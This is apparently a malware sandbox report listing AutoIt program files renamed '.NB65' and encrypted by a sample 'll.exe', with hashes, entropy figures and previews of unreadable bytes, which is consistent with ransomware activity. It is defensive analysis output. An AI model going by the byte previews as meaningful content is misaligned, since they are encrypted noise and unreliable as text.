Preview:E...6....._'.::...~.1[n<..n...52...p.|..=.%.1.Q.f.o..L..4.oS...'...V.fu..Vb.)w..kp...]....5.d-..f..M..6...b..b.h...@..eF)..s......H.2.n..u.....F^..x...>r.X.&..[..@N}..?W..0.E3..n....1j\O.S...q..9....P...a..+K[q.s.za.W..a.-8.d2..A._.jS=.4O...ta(qd(..y.... ...h...~.d'!j.K......aL(.....T.W...-.|.K..*.T..Z_.../..a.M2#..+J.."...x.4fx|ru.....=J!L.:i.a<........O.....f...8_..~......!.+xE.B..iD"....,...7.G..mM:...o.b[CE.[....n..y..fb.m.J3.:./.......o.&;-..v..F..b.g.q....=...K.&E.Y@TL,yF.......-@.E~i..LE...*.xq.V.})(u..)..z/.M...Y>..R..G......2...x.'5...A./........5!....~.HB....F....Q.u..^...C..J..T...@4......O=uK8...D..c....=+>%|..Kg["..'03....i.Afr......{zj..Y..)f.7X...mi..N....C%.h.%..N...x.3.f"..J.T.kj.:.....(V}.r.kcr.T.s5...P>.....c40&..1..^E....*...oA.4...v.#!?.m.yej.S... 9.t....:.G.4.X2 V..@h.*....|..n.....-x.?Kh........S..\....f..}|r.......si0.>|\mo.d..d/.....af..9..4b..HYQz....-../...S.X.7..T.....Do?....%(.8.....)..N.0=1o~.-.K./.x.u...G}..

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_x64_DLL.lib.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28080
Entropy (8bit):7.992411369401827
Encrypted:true
SSDEEP:
MD5:9F9078246EE9B7FD8CCCE0EF9490DB98
SHA1:EEF1EC2D4D3636327E03D82716BD99D47AE4F944
SHA-256:5F33BDA1EDE9D486F31871B4FC9D37002C3BBA0F6A32D197C33A81DFC581AB4E
SHA-512:26A88DD4E4479EAC9FCF534EA816A90EC925289ECA6BA0D2E093A584757132F136F29AD4FC7A727BDF706D2BB39F601B982369F2EAC5DC9BAE99AE44B5F97B04
Malicious:true
Preview:.....,.p...U.M.].h..&^..e.,+mYHT...N8.p...94.w.2.p|..P.E.._..p.^J..Z..\.2k=....].9.......9u.{..=..5.....~...f.A.X8.[T...q....Q>^....(.....m'..=..Q\_...Pj;.P:/.w..G.6.,....W./.P.xt.....N.....I.q.8...A...XIg.Z\....."LQYG..J....T!>X0...f.I|...u.!.....$.9......;.....bp#|E........:.w8@>o.?Djx..\(..P.J.............^W#.......!t.{fa..a.a\....Vh.5.z;.......M9...f.@+A=.q..Y..._.}.}<T.l...C%<...m-B.n.cr9.p...T.$4..0r..U..j.+Y.R>eO....}...h3c....2.|...{..K.&<\.$.Q....K..O..p..I..Kyc.%...T.$..M.7..O~...+..'.\....~..BcE..C{..\....k..r.9.....bS..@.P0..b.../$X..........={.K..^V..Sx.z.%...O.J..&`...|..[.cg\....]....a....$..j....X.).j.....L.d....&..Oe`.P..4=..]f....^.V..S%.....J.....80J...)..A....Q8.0.......L.[...].q....{..8 ]O...5.Dl..R.nv.....s......N.:.B3...![uG.Yp~...D7....(..f.a.?*.\u..t.iZ.h".}."..#...S......tM...r9fH..c.|.%....gy>F.....9.@..U/.M...F....+.6V.vJ.}.~.YJ...b.7.q..uE.+Ge...x..l...(......<....b.6..Gyl...7..3.._.....P./...ZD^=...

C:\Program Files (x86)\autoit3\Examples\_ReadMe_.txt.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):741
Entropy (8bit):7.649384777573955
Encrypted:false
SSDEEP:
MD5:59C0DB415E51C15507D261E4C97764D5
SHA1:3CF6CF8911D87BF0BF996087A905A5C7F3CAC3F9
SHA-256:46D4CD0DCE84F5D7A6AC933B4B907DBC0999C1383F70230B24A8B9B87DC9D52C
SHA-512:ABAEC42FFBE633E765555EADC41C1FAA046A4ECCF1631BA5D320B77B85C6FDEEA9E71823C4CC23F5FC6E61301071B69E0FEE5A97A23BB352A0669CAEFBB44EE0
Malicious:false
Preview:....._g2....=..#.-...8..Rz~..F.b.5SY.....m..e5.R!.K..Q$.m9.$lV...q......y....;.g.....<..|L..] ..[7.y.L. HX.g.}..s(.T..X.G-4.)h....z..E.2.x......I(O.CM...o..rM..kf_kY.z..9..&...d.H .t..Lt.....Hm...N.. ...K..j....Cz#.'....<8....\7.{".#.R|.Eb....O......FN.<.;d.!c..1>..#..ai..:.N.....m..........18IXt...Fej.x.y.C.i(.sE......._.5..@.ke{;..Y*.#........9&.}....lvI%z.W."...".t........@S...DW..N#...?.....,G[...n......`..`\.y.j.mNI7L.\...+....=.qf..I..6yvQa..........b.......w..2,dN.N.V.P.x......Sou.......o7Y.;p}.....Sd5.q+b....*.Ez.^.....R........:]..H../}.CY.k..\...I.(......7..z:...S....@uN.29..]..F.....,..+?.......[3..<.iV....Bro@.....R.p1.......{..w|/.T.,*.|...(...........#....z.+_o............$.........

C:\Program Files (x86)\autoit3\Examples\calculator.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1939
Entropy (8bit):7.899518310385831
Encrypted:false
SSDEEP:
MD5:6C1B89631B06C07BF7B65D449A519289
SHA1:DADBBC458C9E5CE22A37D205DED0CA093381EC13
SHA-256:2EDFB9E114C4B758160C6BC50C98FF96B9ADC9CE8C924ABAFEDC1398001814DA
SHA-512:4A2FD14B68BBFCCF10446B059C167AB2F9918734E8EAE6D90FE068802634A639DA0BCF941C0D4489A5B9840D9B11EBA839205F35B32DA14FCCC0E4851EA27AB6
Malicious:false
Preview:<.f@g....<5.,b.#u.....<.."O..b3...`d.9~....>....`%.I..d+=.0ak.@.....i.H...l.W=U.J=......j.R.[.....C...<....;..s......&!U.*.2.n.yr.V..5..~.-..B......*..n:w.Q.+..y^."S.@$..iK.T...f...;...,.).B..8.u..#>....w....|WfE2...c.....S.....|.;...v0x.U...V..H.%....N...K..s.=..=..lL....w......,.L......M. |W....o.......&..@.....]......n#R.....b....FP...\8.I....ThZ......=..p....t5...X.TM..]..Q...~.E&.\....0$....r..h...0*.6.Y.?..o@.V.2E.....E....GW.8Jg..\..s...9.J`'{.=t.c......<3..S....}b...1-......y.5.TT..Su.`.mnn....%..".."{.j...:..t..m.HS^l..-Y...(..{.aD5WD.A.u.w....x2..O....ADM.]Z-........:......{..'*)......'P.N-.E\l.......S.1.L..%......=.c.k.A.N.......7.h..+f.A....Z..\....*...D ...n...f.$.I%.P'+......J$r8....;~.y....l*...tx....B.+...J..0m..!.U.Xf..{?..c.....(.(]G..N..o.ED..Dk~.f....aH.#..GPg...p..Z..A.*)..G:].....s....G..{..V.@...:R....c..eP.V.w.6I*.,.R).#.1.PijI.....\.>'.!...|kS......#...V.+4........ ...u...."n....U`/..q..S..H...H...L....dUp..w.

C:\Program Files (x86)\autoit3\Examples\count-do.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1711
Entropy (8bit):7.881203384247349
Encrypted:false
SSDEEP:
MD5:3E2330CFEFB5F1E5B36F365585C85FCA
SHA1:A7AC302719B82F5329DA06D6387E3F02BAB00381
SHA-256:39DF248A61C6F8E21B38DDAD6BD492FE1C823540E986BA8B987B3D433DD217D3
SHA-512:23145137E6EED09FEACBFC9F913C878AE2CBB0F795FA3D77B65870E94529FD08CFB76C7BD20D01E0EEBAC2ECD85DE143F9FE0A5E2777CB6083577B2D54BE9438
Malicious:false
Preview:...F..E.XK*t.'.6...~N..J.4.eG.GKC?..i..Wi...d...IET0..o.j.`.......t......6....aQ.F..+...b..f<.mf.....N-.......P....1VZEv..G3.:..)n.a.P+..5a.:u.....E...QE....c.>....1.........-...^3........V.a.. .9.-X.X.....za.%>S..^..5.f..5...8....-........j..t...;:.....r........z..t..85..A......#..........!C......Z.....*6%..h..~....Ko..)~..). }3.u..[ ...t.....x..R....8..`.O?.f..a!..q...{.L\E.j.......f.....Z.o..p.s..[.5U...oI..HY..C..._*.!D..4..rZ.1.+q...*..N.H+....D`.b.:..........S......W.BZ.b.:......5Kh.Q...Y.>.b..{:-.....G.6..0@.......0.x.r.J3e.|.P..:..,]t.~..Kt....p. ...=.DMn..iR}42...j.".3+.l.=vn.M..~..6}i).\.$.9E...:J@..9@.......N.5.tK...._.d1./%..........=_<.c....]..2...4.......F....T.......X.>e*...a...o(../p.1..9.4=A.5.E..d...\...j....t....B...}..2.C0....].{Sr.Yk).w^..._..q-..r.=.x..6.jJ....H........8.M#.0=. ..1........PP....D.. $J...H.1...R..y..k.g.^]....u...l....3B.D....SO..1M........i....5.nu......[..pK.2.@....8V..N.E._F.2...........5

C:\Program Files (x86)\autoit3\Examples\count-for.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1498
Entropy (8bit):7.847927207688585
Encrypted:false
SSDEEP:
MD5:316B2488C52029848159BBF63BDF77FA
SHA1:2180953836FAF5F2482D9CBA822BF83C7CF348AB
SHA-256:D99583F2887418BBFDEB37F4779F92759154857219902F319AEA2733D21F0468
SHA-512:30DEA259E366470CE74A394048D3E6AD6F8967969755609E58421FFCDD5261C917E6186A91CA7E99C0A675618948F0E819889A99D4B98D48B334BA422467AEB1
Malicious:false
Preview:...;U.(...3..1...#DO.H....K.~e.IA.im].U.(....^g...}$KI#%rL...4........0.........6.M.."..O.....1..=..N.....%......b..\..V.,. ... .2^c.I......hi.......W.9NJU...C,'.&.,.!.....j?..\.m...i!...S.=.<.K^.=x.^..)....g.sq.]p.%0...."...z5.q...A.......p...1.*.....1...|.~..?..9../~Q.)Z.0.0....V...YV.y.Y..@.jK.^.P...;.U...n...\.L.lP.............Hk.s.L...`X.x..?....c.q...h8.*.#......].\W...{..QG6....Q..Q2i.i.x^..W>..3y....7.q.%G..>...!.l.2..:&p...u......@.;..z7.X...B..Y...ze.....cF.7...(....g.@`...&vt..^.F.~.u..6f...;i.......u.s..&hCa..M[.l..8$.{.A...,...R;E}..Y..C.......^....J.i*w..e6M...VkVhh.i+.3.UU?\...$....i....>v.W.7.._u\.......:.M..fJ.w....kx...h.z...m}...{q...}.....*...>......[.R.....z;.,...x,...A.!.........:.S......?..).]....4.x..o.X....R...a..P.......xa.|kA}..7TX.\...(.=...^....dy."..D.c..A.....-.N...9..Ng..c.%..c......D.......#-6... N.G.^...W#..[...]."F........*....;u+.X....".....[!I=.3..>.Y. ...z.$S.5=J.....Au..,@{..|.'...r....t.w5/.

C:\Program Files (x86)\autoit3\Examples\count-while.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1703
Entropy (8bit):7.881401791125403
Encrypted:false
SSDEEP:
MD5:A75C5472F5CB84454586087EB08F8F7C
SHA1:C32E77F9A11977DAB3FE279EDDF3AB59C71260F9
SHA-256:113BD6D2BC73589186FCBDD0A0D70F49DF60AFF486AF36E594AD8E2AB33B4E6C
SHA-512:A83F4E592733EFCD9D782D2CD5980C5223E3E63FA153C050BD0688D0DFDA61AEA21D4ADD8B87D7CCF08A4646BF6305F6B397C32F224D75FEB493502A175C661B
Malicious:false
Preview:......HX..G....W..>....l...!4(.......i.)m.1..8.qv.:.&..R.V.7..".};0....dj.y..............+...'.\<......%.....=...r.K..Ey..Dm].C...T.M3.S....j.1.7.D....8.x.{2....M&..bx..@<.K7.6..;q..t...%..jr-x.F....!-.*..3.2.~..U.c1~^.[#w?..S..z.NW...0.......].%.i..P..8/.`LU.t .'...`9A\.nl..q..z.... .{.F,....h..=."\.{.B.'.&C...b...x..._..LJ.k..+...Z...vI./~.-eE.....Q......Dg9.y.).7b.8f(M.L.r...F...`G!.u....^s..a..l...W(|L;p...=0.....o...#Q.....}G.}..%...o}f.;..'b.J_NF.....p.e.)$.kQ..P..>......wt.R....K..e.]..=!O..6....g..v...f..i..)6...-...(...i...$d...gH....p............n......M.l......EfNv.><T...x.l....2...CE.....=e...v/.....].&..&)..M.$.2a\O`.........na".S...c.a......H.....*.......#./|..I.J|8.?b..[A.^.M..0...F..^0r9f.[?..:.C?*....E...l....E_.y...,....%0.z...{6.....k.-...X.S..S.q..hb.`K....3..P......v.=.6.6..iPy....8..._U.`....~..ay...?.._....6..Q......e..tEl.........~7AA...v.....c.U~Z.....|.......U...&."..M..Z....X1..l....0....~..w....e....^....4...:

C:\Program Files (x86)\autoit3\Examples\functions.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1691
Entropy (8bit):7.8666164628654585
Encrypted:false
SSDEEP:
MD5:FE345023990D011F6ED86C0284C9384A
SHA1:E971E2B8450A0BE8EFDCA64A6D680EF268565E3C
SHA-256:CAE6EAD55D7C43229E3DB810D1790D1F5E58BDE9909A1ACCD75AAF63714979B5
SHA-512:887A592C3E1CF4ABB3ADE60DD957CCB6CD77B32AF328255EA8FCC0901A6BA7C2D2CDE2C1CC882134516E8B7C6A807DB6CB516EF602F9FE2B5443765A1EF071AD
Malicious:false
Preview:..0..1...um}6..z.x..Y...2[q..?X..&.."..=..4..._....W.v.`H}..5[..T.F.CQ...vU.)p~..P...M...gR...?.d.Zr.6...*noiY....q...#..e`M.Q..eE.?.{...Tm.....s..O....s..v....]xG.U...Bg ....O...<...<.h.....e.._5...h.{.`}.a.*...>...Q.....f.ni......+.z.M..L/J...?.5@.zni#Z...+\.(P.(<Xg+..qH5.e.U.`9).H.....nXS7.}.6.......ds.q........U.....Q.9......it.p.=.......{.x....-g/B.d.S.{.)....f..Y.....c.bEM.}.......u...M.Z.r..G.M=<./.....T..ba.[w...s...8`.S......R?x2..k....i5....4.q.=.Zx....+......j,.RS#..m....-_1 *w(\....r.=...H.(U.._.=J..N.X....x....+..I........z...k..`....u....G....$.{......9..'.7.)qP.....!u.QQk.=..M.$......Wu.......4fR.xP,Jq...Nf.{..4.e.P1.(WX.1......nF...Q`...|..L..6...T1..9......X.F..D..5.\.q.{...K.6.'.2S.&^cT..C..d.V.r]....<.....y.'.+./.....U.5..'<...$...D/..;r.M..ZS.g.]|c.[8.......Mj...;..U.....Y..}&.f...sl......4F.A..A...$.....)A..8O"..mI.0V....'1a.,....4'.g/...&..@P...]{....w...6.@e.v.A..D...u.G..&.#...e....IbBS.9>....#y.8...*.

C:\Program Files (x86)\autoit3\Examples\inputbox.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2226
Entropy (8bit):7.917865587566269
Encrypted:false
SSDEEP:
MD5:2B71BDA18B22EE6E30F81565EFA4CCF9
SHA1:957774B5A4AF639C8D084758B051B21C044C1E88
SHA-256:5717836A63BDB4265358DC28032079DDDD4580BE2E10F61BA0D5A4A2D1B67DB2
SHA-512:12F37FCB330F3015B02F72875F91AFE1B5F46F68C1FB8D651FB0C1D01A9119A213AF89403EB09541B5E2AC6459CEA794B87FDE64CD9981076FC841B9838FE59B
Malicious:false
Preview:...YC.*..F{T...B-t>ox...O%...f.`..q.xJ....A.D..SG.=F.;.[v5"....o._..#..+yR.#.4.VEH.*.`3.y.dj.)U.n~$.......>. ...h6.~.*.b..MY...*t.Pi.(...i.[;..~...."...."4..wL..`)C5..U....+.B.|..0..D..N.Sa..hG.lL.c...+..2..J.r@(....;......kY.......%....u,.9..E......g.((.M.z...s.&1....~..p..h.2!.Vab..b.lx...G.82.l....<\.\*sx....d&../.I../........&.>..3....L......joO4.HM.Y:BU..&...'=.5..$K.WS`..B`.s....O..K=....\.. .n].X.b..I.B0FZ...".A.>.G.../.".".....j.L......S.$56.>.k.n..u.....e......F....p.....eu{.)......D..Dz...<.A..8.qR,.q.AN..*Z.."..l...cW.Pe.fB...m+.=...]...V..j<...s.....> &}.+...X.&.c7`E.....K7.....K.%.y).A.(.,;$c.....WN...H.t.*..w.f(J...+.D...h../...`.)..*.`...K..O!..P...^...*==Mi...5.f...y.E..~i....^.Ws..9....0..:...8..Sv....@jC-.s>...R9I.^..?....K.TC...~w[....k%5i.R;..ggw.R.k.........5.s..=...L......8....m......`&...,F.%D0.9.......b...m.c..KF]{.4..1.e......%..`.K...I.v.#P..t..,...S|.g1o'G.l.....~....c^.h'.>F.y.!e.0......g.....zI].{......2.+..t|+..T

C:\Program Files (x86)\autoit3\Examples\msgbox.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):993
Entropy (8bit):7.734563060226083
Encrypted:false
SSDEEP:
MD5:8066C2047D927153E5C1C61E5F0D0232
SHA1:49CF2B6083EAAAA87EB9B16F8A5374964390EB2F
SHA-256:2DACE7BF0A3200523624AA10C0C078A789A25185172AC148D47FB83382A41DA1
SHA-512:B6D6676C66725DE515B207BBA87445EB9E531D4365E85A78B48A822585B95663434912F4162E3335BDB68AD87D3028762AC3CA40A8E8D3682CC22B090B3229A4
Malicious:false
Preview:..H.b.r{.r...X.4zP.t.....d...Pn~H.G.V..kfb.4..af.p.&m...NI.^i....0W.......&bv6L.....W.....#m.R.*N.n.jL./e.ZI.E...Z;.A.<...~....A...&...,.TQ....7...Z.A.n~........!..x..8.2..$(1.`.%.C,.!.:.-...$...........ceC.i.|..%D/9|...x[....`0!......k...1....+...`.p.....;K.QB.g.............b...|..j........"~.HeV...gc.i..dC.....f....a...@[.R..3.:.<~....m..."f.L.m..f..9....PN......J[...[..d....v...H.1...b.=d...J~...-W.C.N~........=Z!j.@.W#.:9H[..n....n.2..\..O..y*.5}%.x..`E..z../...ui....0.b-T/.B..4....9$...)+......8...ij#.Z..@.......]8....d....).d.;.Q..<.Z...%..cu.X.....G.....N^Y..J.uhP.$...D..5RG..(...............`.|..,..k..}.ki......xi.J......[iA.......x..A...6f...2....H...&.Nr.r.....3.....u...T..e...C.f.n.%......p.zx.];>P_7!.j..&......@Eh..pa.5(z_,e...h....!..i...'..[N@.......r4..".....,J..5... ..,4.]|.&.....`' Q..e...g+..}.......`..%9..7h.>.q...R.#.^.....S.....(...X..z.}.....N.T.H..>. `[.........:Gp..r.Yu[.M..ok...$....nY..............$.........

C:\Program Files (x86)\autoit3\Examples\notepad1.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2235
Entropy (8bit):7.907045107944536
Encrypted:false
SSDEEP:
MD5:583C15BAE23AB403F33A2C731C6C0B09
SHA1:B58568EEAE70A46EB6391C998B9CAF5D8C785C99
SHA-256:75E113E2F9F93D9A117218D32BCDFD97D1C47323CE7D4610209259A4841538E9
SHA-512:D736C6EE7B8E30457FBBD69B1C4A9F715607A85AF7F5DB212E299D43B51D3F038935AD04154ECAB57544D4AE21DB6F900864DC6F456027152E51B7FAD80AA7DB
Malicious:false
Preview:.....Q#......8.b..*H.7.....#..4.Z..6........kL$..[!?.N8....,!%&..n2Q.4.;E...............CU0....+e.p...Q0..O.m.D.T..g....y....,u..]...P....l.$.w[....../.J..[.h....vE...\..@m.h ..;6.V.u5E...rv..[.(d#...-1.h........!.HY.h....^.....&.G......~....OLZ..".z.n..6.S./.X...Y....|........P7..1.35.8h.+q.d..X]@..p..u...4..Wry.O2.Hd.Ig....Q.....*L.2.N_.7bK...'}..#}..*b.%.=.8;b..2...v.#R.!.:.2.'..bg.....b..o/..}Q.=/.W..f.L.k....-`+..J..}........o6.....v...\.[2H.r.b\...R.....v...z..t..>D..zz....dKw.9.../8j..~...S..d6....4.Q..?H.qW.....KZ....d[B:.H+.#"....dZQ......)...`=N...I.R.)...D...0..h..\-....,6.~.0......"y.v.........>..3..z....I?...%......_.O1m.#.._..........Y....W5Z..Y....*....l....X......\2[+.C3Y..A..!.=I...,H.7.U-...v....@..y.......r.b..j.~|.E..N....*.|i.E..&a...>U..8r.O.M..n.d..c....r~*P........6......Ns...j.....c;.ZS.`r.y%.cW....&....../..W..6..q7...)n....w_).r.Dpo..3..z...q...:.wT...t...sn*.X;.......KW..E....f'0..X7...@!.@..u..,f...F,K.K>.TG.

C:\Program Files (x86)\autoit3\Examples\notepad2.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1949
Entropy (8bit):7.8742122333771984
Encrypted:false
SSDEEP:
MD5:3C1D5A058C1676B407C0FAC77E0DD201
SHA1:5D4B64F9F715C947DC2F85C57C2AEA3ED0599AA2
SHA-256:9AE7C6BE90B1BFB2BDC117A86F45890CD644A216B8F0D3CA060E31747ADE94BE
SHA-512:1118D0C3CD336268F401A52C592FD3ED7CFCEF2A79046144BE8D38A2898EC95CBD377D85BED9D2BF5AFFF4CD4B92741109017027C9D33CC43BADE9EE3132725B
Malicious:false
Preview:..L.\..[.9.W..!v...d..-.v..RT...5M.h.gT.U.\..R%7....\.hz...`z(.....8.j.......L..CY..{..L.*..Y0.Q,.2..b.>...U.8.yq..8v..|......j+}.B""6..*.xE.......F...U...Gu.`...9K...G.\.` 1..@].DX....+S.LY....g....#T.....tM..qc..y.N..h}fW.>j....d.H...#......].v...y.....b ...I. ...V.*..k..bE$W.c..Y...U..O...zD..........%..W..2g..........U..S..j9Q+P..>OQh.#..[f`q........6xHSb..wc....C.(I.6..D...............E...j..<....W...A|LN:.~.Ls.FP*vr...@...V+2.w..\.....g.C........4...i.,a....IU....v~.vC.A.Oi.M..:.*.-.ei....@)......~..7........9m"..0.......*.Y......7..$^........Ni.G.{v....[w...N,r.y.<|.i....<@D{.$...{i.7}+]Od..<a..n"&.....&....6...t...n<j.hW..s..-....cf.].@...5T...i...P..tJN..a..........:.YAnt....Q.~.?Q.Tm..)..5.J.h@..A$}...@A.x.P!\.c..v...~.^l..!....|..!..U..t..P.R..p.q.N...+N.,J6..+".@...<..Rd. ......?St.\..d..7.....7.JW..&..@..4.WQ..q..Hc..P.M....A.7S.u1D.%....q......:..t(.d^[L.5~..e....^M.....w.uC......TyDX...v.la.W...}cFB.._...5.....*..FEjL..

C:\Program Files (x86)\autoit3\Extras\_ReadMe_.txt.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):711
Entropy (8bit):7.673621037582029
Encrypted:false
SSDEEP:
MD5:B78A287DF1F2605F5C94CC829D166C28
SHA1:EFB2B1D110831CC9DBB538C74A0EB50BD4A76A24
SHA-256:928D5CE2D088F814A944E1EE34DC09A05DDC41240D7FE4F94EF0C0E7BAD869EF
SHA-512:FA96F791538E8F81F89EF70CED0A3AB66C2CB08AB99B2E52297A165A62FE79959A1F6475AD74E79719190611ADA954A9BE90EB0C4E6008762DED20055145F3D3
Malicious:false
Preview:b.]...?=....,...|...4...P..6...<...UK.;o....:........Dlf)#IY..}u......F#{.HA:.S...%F.@tW....\.[j5.@.H*.....A;.KG..jm.s.I<..y8..'dV.t,G.l.gJ.bT$.....4...8....-.y{...!...Q.3.N{...v.....e...P..~3B.q......k....H........O. .w.w.T...W.....,.....1...~...B.....z/.KO.D./.L;.G.2..{...4V....c.&..I..P...YL..ak.*../.....wO[....#$.4}x.....b.*=....d.v..^b.......@ZR...34.*.......(3A..;@.........g_.m...G.4S.+.....C;f.\.=of...v..n#...T=.H@n7.j..^.....e..+Z7H......N.....R..R.1..m .e.B.j_...l...m.^.......p.}.J,........iTL.:7c.mRD.y...l..3.*._.J.c<..=.."A...y.K7.}.Ir...j....:,l-.nQ..l<d.5......C.'L3.go.W..E.#....;l.....&..j...x.V^Z...I.k.F..].....C.+.D.C....$............$.........

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Blue.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.979978383347682
Encrypted:false
SSDEEP:
MD5:D296A9A69B60E1D19C049A02812C1A3D
SHA1:5FD439703C3F2F0480E5C00BEA7C368FBEA64A45
SHA-256:C5E172BDE10D7EF176CADE06CB3B113E960C9010E4FB9811CE938B59AA63491C
SHA-512:553C9E36F6F5B18F9A81A2CAD414239F7449E585B8119720864CB9808FAFF9545E168CCD5D970D23F3E7C365690A1F3A2D7D76B846BC8B68E7E3F31D0B539B04
Malicious:false
Preview:.Bh%...=.{....~.V...ydK..q.(. Y.....7...L..... .'.p...B...........Kh ..D..W..1.k...^D.......uAE.....*.M..#...O.zJ.h..;aL...z.K....%..c...P.H..W..u.H[..|N..3......O+s.5+...@....65....a.5kJ...:ABi...!xE(.V.C..N.vbr.,..v6..Twk..t./3mf6....#..|uMv...47...O......9.....T...1L`...gN.{.r..w...m.8....k...xE....ZR...-....vx...Z`.\....e.....M.#}....O..scK@.....$.^..=.n..z.3v..<.'.......c..a.3J.d.J.N.kE...........iq....3....^W.!w...uV8.....pu0...i...d..?.._./.f..K..&.B.z..w$<...b...!.T...wq...t....bx......f0.|.)Hw..n....uDN..t.......".\.q4.<X....^h(A..Q4.q..;..(.......4 h..?.q..ue...7..()S.XR...a.Yn..E$)..K....0.K}.{%t.0|jR...;."...e<..8r.%...i.^.....vL.T~V.()+.]i...%..;.%...{...I..1jI.ub..*H...Q........7.N.........kd(....sL...........<..N.t.c.8.......E...+..Zl..px>F..G.....f3..J.J.d.F.I..xo.w...?]..t...P6...,L.g.*.~..4.,d.k42l+.$tAoD..(.6B...X%..=.H.]"....$..z .R!..D...F/0QJ..S.....ZOy..%..m.~?./.....N%T.$.QE..d*.....q.w..Z..kH..y&Y.....I

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Green.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.974906647590987
Encrypted:false
SSDEEP:
MD5:4F668331A79D586568C924895DC95008
SHA1:B0332A6701D602D6DEB0E6E451D588E3FB7C5007
SHA-256:3F86E86F7483D61673AAA61203E78CCCD9167C109ECBBB4F562C26EE0FC406C9
SHA-512:DC4D2043C092409B4EC6D89DF2E2E30AB6ED6C141CCEF6CA276F9DF0E0E4921AB9A1E9F277800956169A3A6113A052385D724A8E030E42F2B905E9B26E5D9E0E
Malicious:false
Preview:.w.}......$..:z.xoZ..nP=.4Z.m......Y.i...@.L....G.*..J...M..._p."...:..%/.^....@@......R.............:.~.....w[..7..Pi/.....h1)+k.. ...r..\.s.=t"LO...6....'La..L.....V.^..9..?.`..].$=.o~hY.:....C<.....Q.+.>..r./.....!.{...2v.<D'.r...r***.2...`...&3.>l..)..A.gaY...Hg>]|].Sr..{.3...ri.ays,.Q..;..6..z.K.hh..>.<.d....2.-...C..j..J.,......C..h... .uL.Fjy.=I.P...t+r.j..J;.Np.....S9.........=.*.<..F.Z.b..m..NyZ./@b.Dx....P./..RT.p....V....d$....4.'..A..)......Rk.!sK..;.-../.XW..W.,M.z:7.D.U.a..Lu.^"...Q6jX.......h.\..O..p....7mO.2H..}..#{.z1t.........y.1....H.........x6.:..4'W.C..2.....b^nX..5....d+.....2.8Y....I...hR>n$..}......u.u.....2.G..3x1..j..u. ...t..=g.?.6..8.1.$.... c.WkQ].)..B{4..cB*N.X......I.....);........@.{.XF...g.t.D..X..,..G..F...`.L..7..!.">...5.7m.?we..9p...y.x.7!sW.P....$..<FQu.1Sq.:.YN....P,..a...Y[0!u..z..g.._.R...\:.Fb.,.].....A.g..}...@.G.GP.4.....S!./)86..y.-. ..Gac..........-n.......:..../..q.+,%hD.P..!......n.8f5F

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Red.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.975718709456009
Encrypted:false
SSDEEP:
MD5:E0C2EDA9605DFCDE7DDC0DD7B9AD7556
SHA1:EB01567A888333DDCF74D358EC08155FAB0ECB33
SHA-256:285D9FDA06071ED7CF68DF99101CC6DF7D70B5AE7BE93DE149F83D88D68274C7
SHA-512:A684F9D0820BDABACB44773D87638FCAA4DD73787131A3541B0BB851300E5D1A15647DB4A8553B80D8CF80B671DE4521A50959ECADD0B75F7B63CD9E429FAFE2
Malicious:false
Preview:E;mz.s....6....2L.....>....;=W.m[.T..*.d?>..]kx...5.x...j..l..H.....^.*<jOw..A.....(,.=..^.%.H.T.:.......&qb..!.~..4..t.>j......g..T..^._.=%.%7.y........c..3............A..I.._....Pl3...|DY.....D...<.....ej:.....*;a..]....l$A.QL...:...^...f@.. ...QC.....PA].*ElK...{b...~....=.}..HuT...g..D...{@.Z.t,.0./...[..5h......<j..J....w.R1.i.7...1.\h{>-.Y...kMBZ.....h....A@P..iS'.+...(....y...I..M.o.~.D..g.`.J/.......n.......D<.o......F.I.......~...?...\.....UMm.5L.&s.(g...".B..K..........._.a9.7I.zN.'.?%.L...I...P...Du.J.a.<.IR.Z........\k...9S.34.M.Z..].J#..k.2...^......I.P..*.r..|.....$..56MuQ*..TIOJ..z0...O.#=).8........U.3/M.r..6.#..M....Fv.<.2.D8.e/.X....cn...~.7.......w....m1..'.q.("....>eo]y..$3.W.8..._|..Y~>N..4..%..m!..q...q..!. .L@XMNcp(".`_x....X.U\U.j-D.x..F.G,....w.~_\.....].3..$.e.&D.E........%..$.1a...0x.a...vO..!..Fz.M..)`E...)o-l...#b..d.8......'..p........g.....d,.Pj.y.#.=...(...x...i`..Ck..G@..a....u.{<.i`F.r~..#...A..p.Y

C:\Program Files (x86)\autoit3\Icons\MyAutoIt3_Yellow.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.971413958630938
Encrypted:false
SSDEEP:
MD5:67D8B1FE7AE1A14F07296777086F8D10
SHA1:C8EB7E8C49A9D04E7E2981ADAD68B4E7E44E72AC
